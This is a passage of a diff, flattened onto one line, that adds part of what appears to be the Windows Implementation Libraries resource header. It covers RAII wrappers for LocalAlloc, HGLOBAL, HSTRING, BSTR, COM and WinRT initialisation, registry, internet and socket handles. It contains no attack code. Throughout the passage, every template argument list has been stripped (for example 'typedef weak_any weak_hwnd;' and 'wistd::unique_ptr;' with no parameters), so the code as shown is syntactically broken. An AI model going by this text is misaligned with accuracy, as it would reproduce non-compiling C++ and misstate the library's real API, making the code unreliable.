WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) + typedef weak_any weak_threadpool_wait; + typedef weak_any weak_threadpool_wait_nocancel; + typedef weak_any weak_threadpool_work; + typedef weak_any weak_threadpool_work_nocancel; + + typedef weak_any weak_hfind_change; +#endif + +#endif // __WIL_WINBASE_STL + +#if defined(__WIL_WINBASE_) && defined(__NOTHROW_T_DEFINED) && !defined(__WIL_WINBASE_NOTHROW_T_DEFINED_STL) && defined(WIL_RESOURCE_STL) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WINBASE_NOTHROW_T_DEFINED_STL + typedef shared_any_t>> shared_event_watcher; + typedef weak_any weak_event_watcher; +#endif // __WIL_WINBASE_NOTHROW_T_DEFINED_STL + +#if defined(__WIL_WINBASE_) && !defined(__WIL_WINBASE_DESKTOP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WINBASE_DESKTOP + /// @cond + namespace details + { + inline void __stdcall DestroyPrivateObjectSecurity(_Pre_opt_valid_ _Frees_ptr_opt_ PSECURITY_DESCRIPTOR pObjectDescriptor) WI_NOEXCEPT + { + ::DestroyPrivateObjectSecurity(&pObjectDescriptor); + } + } + /// @endcond + + using hlocal_deleter = function_deleter; + + template + using unique_hlocal_ptr = wistd::unique_ptr; + + /** Provides `std::make_unique()` semantics for resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure. + Use `wil::make_unique_hlocal_nothrow()` for resources returned from APIs that must satisfy a memory allocation contract that requires the use of `LocalAlloc()` / `LocalFree()`. + Use `wil::make_unique_nothrow()` when `LocalAlloc()` is not required. + + Allocations are initialized with placement new and will call constructors (if present), but this does not guarantee initialization. + + Note that `wil::make_unique_hlocal_nothrow()` is not marked WI_NOEXCEPT as it may be used to create an exception-based class that may throw in its constructor. + ~~~ + auto foo = wil::make_unique_hlocal_nothrow(); + if (foo) + { + // initialize allocated Foo object as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_hlocal_ptr>::type make_unique_hlocal_nothrow(Args&&... args) + { + static_assert(wistd::is_trivially_destructible::value, "T has a destructor that won't be run when used with this function; use make_unique instead"); + unique_hlocal_ptr sp(static_cast(::LocalAlloc(LMEM_FIXED, sizeof(T)))); + if (sp) + { + // use placement new to initialize memory from the previous allocation + new (sp.get()) T(wistd::forward(args)...); + } + return sp; + } + + /** Provides `std::make_unique()` semantics for array resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_hlocal_nothrow(size); + if (foos) + { + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_ptr>::type make_unique_hlocal_nothrow(size_t size) + { + typedef typename wistd::remove_extent::type E; + static_assert(wistd::is_trivially_destructible::value, "E has a destructor that won't be run when used with this function; use make_unique instead"); + FAIL_FAST_IF((__WI_SIZE_MAX / sizeof(E)) < size); + size_t allocSize = sizeof(E) * size; + unique_hlocal_ptr sp(static_cast(::LocalAlloc(LMEM_FIXED, allocSize))); + if (sp) + { + // use placement new to initialize memory from the previous allocation; + // note that array placement new cannot be used as the standard allows for operator new[] + // to consume overhead in the allocation for internal bookkeeping + for (auto& elem : make_range(static_cast(sp.get()), size)) + { + new (&elem) E(); + } + } + return sp; + } + + /** Provides `std::make_unique()` semantics for resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_hlocal_failfast(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_hlocal_ptr>::type make_unique_hlocal_failfast(Args&&... args) + { + unique_hlocal_ptr result(make_unique_hlocal_nothrow(wistd::forward(args)...)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for array resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_hlocal_failfast(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_ptr>::type make_unique_hlocal_failfast(size_t size) + { + unique_hlocal_ptr result(make_unique_hlocal_nothrow(size)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Provides `std::make_unique()` semantics for resources allocated with `LocalAlloc()`. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_hlocal(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_hlocal_ptr>::type make_unique_hlocal(Args&&... args) + { + unique_hlocal_ptr result(make_unique_hlocal_nothrow(wistd::forward(args)...)); + THROW_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for array resources allocated with `LocalAlloc()`. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_hlocal(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_ptr>::type make_unique_hlocal(size_t size) + { + unique_hlocal_ptr result(make_unique_hlocal_nothrow(size)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + + typedef unique_any unique_hlocal; + typedef unique_any unique_hlocal_string; +#ifndef WIL_NO_ANSI_STRINGS + typedef unique_any unique_hlocal_ansistring; +#endif // WIL_NO_ANSI_STRINGS + + /// @cond + namespace details + { + struct localalloc_allocator + { + static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT + { + return ::LocalAlloc(LMEM_FIXED, size); + } + }; + + template<> struct string_allocator : localalloc_allocator {}; +#ifndef WIL_NO_ANSI_STRINGS + template<> struct string_allocator : localalloc_allocator {}; +#endif // WIL_NO_ANSI_STRINGS + } + /// @endcond + + inline auto make_hlocal_string_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_string_nothrow(source, length); + } + + inline auto make_hlocal_string_failfast( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_string_failfast(source, length); + } + +#ifndef WIL_NO_ANSI_STRINGS + inline auto make_hlocal_ansistring_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_ansistring_nothrow(source, length); + } + + inline auto make_hlocal_ansistring_failfast( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_ansistring_failfast(source, length); + } +#endif + +#ifdef WIL_ENABLE_EXCEPTIONS + inline auto make_hlocal_string( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) + { + return make_unique_string(source, length); + } + +#ifndef WIL_NO_ANSI_STRINGS + inline auto make_hlocal_ansistring( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCSTR source, size_t length = static_cast(-1)) + { + return make_unique_ansistring(source, length); + } +#endif // WIL_NO_ANSI_STRINGS +#endif // WIL_ENABLE_EXCEPTIONS + + struct hlocal_secure_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + if (p) + { +#pragma warning(suppress: 26006 26007) // LocalSize() ensures proper buffer length + ::SecureZeroMemory(p, ::LocalSize(p)); // this is safe since LocalSize() returns 0 on failure + ::LocalFree(p); + } + } + }; + + template + using unique_hlocal_secure_ptr = wistd::unique_ptr; + + /** Provides `std::make_unique()` semantics for secure resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_hlocal_secure_nothrow(); + if (foo) + { + // initialize allocated Foo object as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_nothrow(Args&&... args) + { + return unique_hlocal_secure_ptr(make_unique_hlocal_nothrow(wistd::forward(args)...).release()); + } + + /** Provides `std::make_unique()` semantics for secure array resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_hlocal_secure_nothrow(size); + if (foos) + { + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_nothrow(size_t size) + { + return unique_hlocal_secure_ptr(make_unique_hlocal_nothrow(size).release()); + } + + /** Provides `std::make_unique()` semantics for secure resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_hlocal_secure_failfast(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_failfast(Args&&... args) + { + unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(wistd::forward(args)...)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for secure array resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_hlocal_secure_failfast(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_failfast(size_t size) + { + unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(size)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Provides `std::make_unique()` semantics for secure resources allocated with `LocalAlloc()`. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_hlocal_secure(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure(Args&&... args) + { + unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(wistd::forward(args)...)); + THROW_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for secure array resources allocated with `LocalAlloc()`. + See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_hlocal_secure(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure(size_t size) + { + unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(size)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + + typedef unique_hlocal_secure_ptr unique_hlocal_string_secure; + + /** Copies a given string into secure memory allocated with `LocalAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_hlocal_string_nothrow()` with supplied length for more details. + ~~~ + auto str = wil::make_hlocal_string_secure_nothrow(L"a string"); + RETURN_IF_NULL_ALLOC(str); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + ~~~ + */ + inline auto make_hlocal_string_secure_nothrow(_In_ PCWSTR source) WI_NOEXCEPT + { + return unique_hlocal_string_secure(make_hlocal_string_nothrow(source).release()); + } + + /** Copies a given string into secure memory allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_hlocal_string_nothrow()` with supplied length for more details. + ~~~ + auto str = wil::make_hlocal_string_secure_failfast(L"a string"); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + ~~~ + */ + inline auto make_hlocal_string_secure_failfast(_In_ PCWSTR source) WI_NOEXCEPT + { + unique_hlocal_string_secure result(make_hlocal_string_secure_nothrow(source)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Copies a given string into secure memory allocated with `LocalAlloc()`. + See the overload of `wil::make_hlocal_string_nothrow()` with supplied length for more details. + ~~~ + auto str = wil::make_hlocal_string_secure(L"a string"); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + ~~~ + */ + inline auto make_hlocal_string_secure(_In_ PCWSTR source) + { + unique_hlocal_string_secure result(make_hlocal_string_secure_nothrow(source)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif + + using hglobal_deleter = function_deleter; + + template + using unique_hglobal_ptr = wistd::unique_ptr; + + typedef unique_any unique_hglobal; + typedef unique_any unique_hglobal_string; +#ifndef WIL_NO_ANSI_STRINGS + typedef unique_any unique_hglobal_ansistring; +#endif // WIL_NO_ANSI_STRINGS + + /// @cond + namespace details + { + template<> struct string_allocator + { + static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT + { + return ::GlobalAlloc(GPTR, size); + } + }; + } + /// @endcond + + inline auto make_process_heap_string_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_string_nothrow(source, length); + } + + inline auto make_process_heap_string_failfast( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_string_failfast(source, length); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + inline auto make_process_heap_string( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) + { + return make_unique_string(source, length); + } +#endif // WIL_ENABLE_EXCEPTIONS + + typedef unique_any_handle_null unique_hheap; + typedef unique_any unique_tls; + typedef unique_any unique_hlocal_security_descriptor; + typedef unique_any unique_private_security_descriptor; + +#if defined(_WINUSER_) && !defined(__WIL__WINUSER_) +#define __WIL__WINUSER_ + typedef unique_any unique_haccel; + typedef unique_any unique_hcursor; + typedef unique_any unique_hwnd; +#if !defined(NOUSER) && !defined(NOWH) + typedef unique_any unique_hhook; +#endif +#if !defined(NOWINABLE) + typedef unique_any unique_hwineventhook; +#endif +#endif // __WIL__WINUSER_ + +#if !defined(NOGDI) && !defined(NODESKTOP) + typedef unique_any unique_hdesk; + typedef unique_any unique_hwinsta; +#endif // !defined(NOGDI) && !defined(NODESKTOP) + +#endif +#if defined(__WIL_WINBASE_DESKTOP) && !defined(__WIL_WINBASE_DESKTOP_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WINBASE_DESKTOP_STL + typedef shared_any shared_hheap; + typedef shared_any shared_hlocal; + typedef shared_any shared_tls; + typedef shared_any shared_hlocal_security_descriptor; + typedef shared_any shared_private_security_descriptor; + typedef shared_any shared_haccel; + typedef shared_any shared_hcursor; +#if !defined(NOGDI) && !defined(NODESKTOP) + typedef shared_any shared_hdesk; + typedef shared_any shared_hwinsta; +#endif // !defined(NOGDI) && !defined(NODESKTOP) + typedef shared_any shared_hwnd; +#if !defined(NOUSER) && !defined(NOWH) + typedef shared_any shared_hhook; +#endif +#if !defined(NOWINABLE) + typedef shared_any shared_hwineventhook; +#endif + + typedef weak_any weak_hheap; + typedef weak_any weak_hlocal; + typedef weak_any weak_tls; + typedef weak_any weak_hlocal_security_descriptor; + typedef weak_any weak_private_security_descriptor; + typedef weak_any weak_haccel; + typedef weak_any weak_hcursor; +#if !defined(NOGDI) && !defined(NODESKTOP) + typedef weak_any weak_hdesk; + typedef weak_any weak_hwinsta; +#endif // !defined(NOGDI) && !defined(NODESKTOP) + typedef weak_any weak_hwnd; +#if !defined(NOUSER) && !defined(NOWH) + typedef weak_any weak_hhook; +#endif +#if !defined(NOWINABLE) + typedef weak_any weak_hwineventhook; +#endif +#endif // __WIL_WINBASE_DESKTOP_STL + +#if defined(_COMBASEAPI_H_) && !defined(__WIL__COMBASEAPI_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && !defined(WIL_KERNEL_MODE) +#define __WIL__COMBASEAPI_H_ +#if (NTDDI_VERSION >= NTDDI_WIN8) + typedef unique_any unique_mta_usage_cookie; +#endif + + typedef unique_any unique_com_class_object_cookie; + + /// @cond + namespace details + { + inline void __stdcall MultiQiCleanup(_In_ MULTI_QI* multiQi) + { + if (multiQi->pItf) + { + multiQi->pItf->Release(); + multiQi->pItf = nullptr; + } + } + } + /// @endcond + + //! A type that calls CoRevertToSelf on destruction (or reset()). + using unique_coreverttoself_call = unique_call; + + //! Calls CoImpersonateClient and fail-fasts if it fails; returns an RAII object that reverts + WI_NODISCARD inline unique_coreverttoself_call CoImpersonateClient_failfast() + { + FAIL_FAST_IF_FAILED(::CoImpersonateClient()); + return unique_coreverttoself_call(); + } + + typedef unique_struct unique_multi_qi; +#endif // __WIL__COMBASEAPI_H_ +#if defined(__WIL__COMBASEAPI_H_) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL__COMBASEAPI_H_EXCEPTIONAL) +#define __WIL__COMBASEAPI_H_EXCEPTIONAL + WI_NODISCARD inline unique_coreverttoself_call CoImpersonateClient() + { + THROW_IF_FAILED(::CoImpersonateClient()); + return unique_coreverttoself_call(); + } +#endif +#if defined(__WIL__COMBASEAPI_H_) && !defined(__WIL__COMBASEAPI_H__STL) && defined(WIL_RESOURCE_STL) && (NTDDI_VERSION >= NTDDI_WIN8) +#define __WIL__COMBASEAPI_H__STL + typedef shared_any shared_mta_usage_cookie; + typedef weak_any weak_mta_usage_cookie; +#endif // __WIL__COMBASEAPI_H__STL + +#if defined(_COMBASEAPI_H_) && !defined(__WIL__COMBASEAPI_H_APP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) && !defined(WIL_KERNEL_MODE) +#define __WIL__COMBASEAPI_H_APP + //! A type that calls CoUninitialize on destruction (or reset()). + using unique_couninitialize_call = unique_call; + + //! Calls CoInitializeEx and fail-fasts if it fails; returns an RAII object that reverts + WI_NODISCARD inline unique_couninitialize_call CoInitializeEx_failfast(DWORD coinitFlags = 0 /*COINIT_MULTITHREADED*/) + { + FAIL_FAST_IF_FAILED(::CoInitializeEx(nullptr, coinitFlags)); + return unique_couninitialize_call(); + } +#endif // __WIL__COMBASEAPI_H_APP +#if defined(__WIL__COMBASEAPI_H_APP) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL__COMBASEAPI_H_APPEXCEPTIONAL) +#define __WIL__COMBASEAPI_H_APPEXCEPTIONAL + WI_NODISCARD inline unique_couninitialize_call CoInitializeEx(DWORD coinitFlags = 0 /*COINIT_MULTITHREADED*/) + { + THROW_IF_FAILED(::CoInitializeEx(nullptr, coinitFlags)); + return unique_couninitialize_call(); + } +#endif + +#if defined(__ROAPI_H_) && !defined(__WIL__ROAPI_H_APP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) && (NTDDI_VERSION >= NTDDI_WIN8) +#define __WIL__ROAPI_H_APP + + typedef unique_any unique_ro_registration_cookie; + + //! A type that calls RoUninitialize on destruction (or reset()). + //! Use as a replacement for Windows::Foundation::Uninitialize. + using unique_rouninitialize_call = unique_call; + + //! Calls RoInitialize and fail-fasts if it fails; returns an RAII object that reverts + //! Use as a replacement for Windows::Foundation::Initialize + WI_NODISCARD inline unique_rouninitialize_call RoInitialize_failfast(RO_INIT_TYPE initType = RO_INIT_MULTITHREADED) + { + FAIL_FAST_IF_FAILED(::RoInitialize(initType)); + return unique_rouninitialize_call(); + } +#endif // __WIL__ROAPI_H_APP +#if defined(__WIL__ROAPI_H_APP) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL__ROAPI_H_APPEXCEPTIONAL) +#define __WIL__ROAPI_H_APPEXCEPTIONAL + //! Calls RoInitialize and throws an exception if it fails; returns an RAII object that reverts + //! Use as a replacement for Windows::Foundation::Initialize + WI_NODISCARD inline unique_rouninitialize_call RoInitialize(RO_INIT_TYPE initType = RO_INIT_MULTITHREADED) + { + THROW_IF_FAILED(::RoInitialize(initType)); + return unique_rouninitialize_call(); + } +#endif + +#if defined(__WINSTRING_H_) && !defined(__WIL__WINSTRING_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) +#define __WIL__WINSTRING_H_ + typedef unique_any unique_hstring; + + template<> inline unique_hstring make_unique_string_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length) WI_NOEXCEPT + { + WI_ASSERT(source != nullptr); // the HSTRING version of this function does not suport this case + if (length == static_cast(-1)) + { + length = wcslen(source); + } + + unique_hstring result; + ::WindowsCreateString(source, static_cast(length), &result); + return result; + } + + typedef unique_any unique_hstring_buffer; + + /** Promotes an hstring_buffer to an HSTRING. + When an HSTRING_BUFFER object is promoted to a real string it must not be passed to WindowsDeleteString. The caller owns the + HSTRING afterwards. + ~~~ + HRESULT Type::MakePath(_Out_ HSTRING* path) + { + wchar_t* bufferStorage = nullptr; + wil::unique_hstring_buffer theBuffer; + RETURN_IF_FAILED(::WindowsPreallocateStringBuffer(65, &bufferStorage, &theBuffer)); + RETURN_IF_FAILED(::PathCchCombine(bufferStorage, 65, m_foo, m_bar)); + RETURN_IF_FAILED(wil::make_hstring_from_buffer_nothrow(wistd::move(theBuffer), path))); + return S_OK; + } + ~~~ + */ + inline HRESULT make_hstring_from_buffer_nothrow(unique_hstring_buffer&& source, _Out_ HSTRING* promoted) + { + HRESULT hr = ::WindowsPromoteStringBuffer(source.get(), promoted); + if (SUCCEEDED(hr)) + { + source.release(); + } + return hr; + } + + //! A fail-fast variant of `make_hstring_from_buffer_nothrow` + inline unique_hstring make_hstring_from_buffer_failfast(unique_hstring_buffer&& source) + { + unique_hstring result; + FAIL_FAST_IF_FAILED(make_hstring_from_buffer_nothrow(wistd::move(source), &result)); + return result; + } + +#if defined WIL_ENABLE_EXCEPTIONS + /** Promotes an hstring_buffer to an HSTRING. + When an HSTRING_BUFFER object is promoted to a real string it must not be passed to WindowsDeleteString. The caller owns the + HSTRING afterwards. + ~~~ + wil::unique_hstring Type::Make() + { + wchar_t* bufferStorage = nullptr; + wil::unique_hstring_buffer theBuffer; + THROW_IF_FAILED(::WindowsPreallocateStringBuffer(65, &bufferStorage, &theBuffer)); + THROW_IF_FAILED(::PathCchCombine(bufferStorage, 65, m_foo, m_bar)); + return wil::make_hstring_from_buffer(wistd::move(theBuffer)); + } + ~~~ + */ + inline unique_hstring make_hstring_from_buffer(unique_hstring_buffer&& source) + { + unique_hstring result; + THROW_IF_FAILED(make_hstring_from_buffer_nothrow(wistd::move(source), &result)); + return result; + } +#endif + + /// @cond + namespace details + { + template<> struct string_maker + { + string_maker() = default; + string_maker(const string_maker&) = delete; + void operator=(const string_maker&) = delete; + string_maker& operator=(string_maker&& source) WI_NOEXCEPT + { + m_value = wistd::move(source.m_value); + m_bufferHandle = wistd::move(source.m_bufferHandle); + m_charBuffer = wistd::exchange(source.m_charBuffer, nullptr); + return *this; + } + + HRESULT make( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + const wchar_t* source, + size_t length) + { + if (source) + { + RETURN_IF_FAILED(WindowsCreateString(source, static_cast(length), &m_value)); + m_charBuffer = nullptr; + m_bufferHandle.reset(); // do this after WindowsCreateString so we can trim_at_existing_null() from our own buffer + } + else + { + // Need to set it to the empty string to support the empty string case. + m_value.reset(); + RETURN_IF_FAILED(WindowsPreallocateStringBuffer(static_cast(length), &m_charBuffer, &m_bufferHandle)); + } + return S_OK; + } + + wchar_t* buffer() { WI_ASSERT(m_charBuffer != nullptr); return m_charBuffer; } + const wchar_t* buffer() const { return m_charBuffer; } + + HRESULT trim_at_existing_null(size_t length) { return make(buffer(), length); } + + unique_hstring release() + { + m_charBuffer = nullptr; + if (m_bufferHandle) + { + return make_hstring_from_buffer_failfast(wistd::move(m_bufferHandle)); + } + return wistd::move(m_value); + } + + static PCWSTR get(const wil::unique_hstring& value) { return WindowsGetStringRawBuffer(value.get(), nullptr); } + + private: + unique_hstring m_value; + unique_hstring_buffer m_bufferHandle; + wchar_t* m_charBuffer = nullptr; + }; + } + /// @endcond + + // str_raw_ptr is an overloaded function that retrieves a const pointer to the first character in a string's buffer. + // This is the overload for HSTRING. Other overloads available above. + inline PCWSTR str_raw_ptr(HSTRING str) + { + return WindowsGetStringRawBuffer(str, nullptr); + } + + inline PCWSTR str_raw_ptr(const unique_hstring& str) + { + return str_raw_ptr(str.get()); + } + +#endif // __WIL__WINSTRING_H_ +#if defined(__WIL__WINSTRING_H_) && !defined(__WIL__WINSTRING_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL__WINSTRING_H_STL + typedef shared_any shared_hstring; + typedef shared_any shared_hstring_buffer; + typedef weak_any weak_hstring; + typedef weak_any weak_hstring_buffer; +#endif // __WIL__WINSTRING_H_STL + + +#if defined(_WINREG_) && !defined(__WIL_WINREG_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(WIL_KERNEL_MODE) +#define __WIL_WINREG_ + typedef unique_any unique_hkey; +#endif // __WIL_WINREG_ +#if defined(__WIL_WINREG_) && !defined(__WIL_WINREG_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WINREG_STL + typedef shared_any shared_hkey; + typedef weak_any weak_hkey; +#endif // __WIL_WINREG_STL + +#if defined(__propidl_h__) && !defined(_WIL__propidl_h__) && !defined(WIL_KERNEL_MODE) +#define _WIL__propidl_h__ + using unique_prop_variant = wil::unique_struct; +#endif // _WIL__propidl_h__ + +#if defined(_OLEAUTO_H_) && !defined(__WIL_OLEAUTO_H_) && !defined(WIL_KERNEL_MODE) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) +#define __WIL_OLEAUTO_H_ + using unique_variant = wil::unique_struct; + typedef unique_any unique_bstr; + + inline wil::unique_bstr make_bstr_nothrow(PCWSTR source) WI_NOEXCEPT + { + return wil::unique_bstr(::SysAllocString(source)); + } + + inline wil::unique_bstr make_bstr_failfast(PCWSTR source) WI_NOEXCEPT + { + return wil::unique_bstr(FAIL_FAST_IF_NULL_ALLOC(::SysAllocString(source))); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + inline wil::unique_bstr make_bstr(PCWSTR source) + { + wil::unique_bstr result(make_bstr_nothrow(source)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + +#endif // __WIL_OLEAUTO_H_ +#if defined(__WIL_OLEAUTO_H_) && !defined(__WIL_OLEAUTO_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_OLEAUTO_H_STL + typedef shared_any shared_bstr; + typedef weak_any weak_bstr; +#endif // __WIL_OLEAUTO_H_STL + + +#if (defined(_WININET_) || defined(_DUBINET_)) && !defined(__WIL_WININET_) +#define __WIL_WININET_ + typedef unique_any unique_hinternet; +#endif // __WIL_WININET_ +#if defined(__WIL_WININET_) && !defined(__WIL_WININET_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WININET_STL + typedef shared_any shared_hinternet; + typedef weak_any weak_hinternet; +#endif // __WIL_WININET_STL + + +#if defined(_WINHTTPX_) && !defined(__WIL_WINHTTP_) +#define __WIL_WINHTTP_ + typedef unique_any unique_winhttp_hinternet; +#endif // __WIL_WINHTTP_ +#if defined(__WIL_WINHTTP_) && !defined(__WIL_WINHTTP_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WINHTTP_STL + typedef shared_any shared_winhttp_hinternet; + typedef weak_any weak_winhttp_hinternet; +#endif // __WIL_WINHTTP_STL + + +#if defined(_WINSOCKAPI_) && !defined(__WIL_WINSOCKAPI_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WINSOCKAPI_ + typedef unique_any unique_socket; +#endif // __WIL_WINSOCKAPI_ +#if defined(__WIL_WINSOCKAPI_) && !defined(__WIL_WINSOCKAPI_STL) && defined(WIL_RESOURCE_STL) 